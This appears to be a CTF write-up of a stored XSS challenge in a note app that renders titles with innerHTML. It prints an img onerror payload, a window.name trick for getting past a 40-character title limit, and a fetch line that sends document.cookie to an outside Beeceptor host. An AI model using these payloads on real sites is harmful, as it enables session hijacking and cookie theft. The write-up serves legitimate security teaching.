Simple Web - 0x09(Lab - Simple Note)
tags: CTF Web eductf
Challenge: https://note.ctf.zoolab.org/
Background
Source Code
...
<script>
const id = location.pathname.split('/').pop();
fetch(`/api/note/${id}`).then(r => r.json()).then(({ title, content })=>{
url.value = location;
titleNode.innerHTML = title;
contentNode.innerText = content;
});
</script>
...
For instance, if our $id=47a8aad1b3b82dcd4decd36d, the script code will fetch this data as json file and parse title and content.
Then it’ll change titleNode by innerHTML and change contentNode by innerText.

innerText VS innerHTML
innerText will filter tag but innerHTML will not.
For instance, title=123 and content=<script>123</script>

For instance, title=<script>123</script> and content=123

Analysis
According to the response, it seems has no filter of our input, so, we can choose to inject something in `titleNode`

Exploit - XSS
- We tried to inject
<script>tag in title but has nothing to trigger. According to javascript documentationIt is not uncommon to see innerHTML used to insert text into a web page. There is potential for this to become an attack vector on a site, creating a potential security risk. Although this may look like a cross-site scripting attack, the result is harmless. HTML specifies that a <script> tag inserted with innerHTML should not execute.
However, there are ways to execute JavaScript without using <script> elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example:
const name = "<img src='x' onerror='fetch()'>"; el.innerHTML = name; // shows the alert -
Use
imgtag Payload:<img src='x' onerror='alert(1)'>
- String limit problem…
There’s something wrong, that the title has input limit with 40 character at most. So, we can use
window.nametechnique that we can write our payload as long as we can. If we set:top.name = 'fetch("https://sbk6401.free.beeceptor.com?sh="+document.cookie)'Furthermore, we set our title as:`<img src=x onerror=eval(window.name)>`
Then if we reload this page, it’ll execute the command in
top.name
-
Host a server by
BeeceptorNote that, you should changeContent-Typetotext/html
Then we can change the Report URL as what we set in Beeceptor
- Detail about workflow
st=>start: Start e=>end: get flag in Beeceptor op=>operation: Set title to <img src=x onerror=eval(top.name)> io=>inputoutput: Click Report op2=>operation: Set URL as https://sbk6401.free.beeceptor.com op3=>operation: Execute our script that set in beeceptor op4=>operation: Set top.name as our payload op5=>operation: redirect to https://note.ctf.zoolab.org/note/fafe93de9467a6022fb8cb19 op6=>operation: eval(top.name) st->op->io->op2->op3->op4->op5->op6->e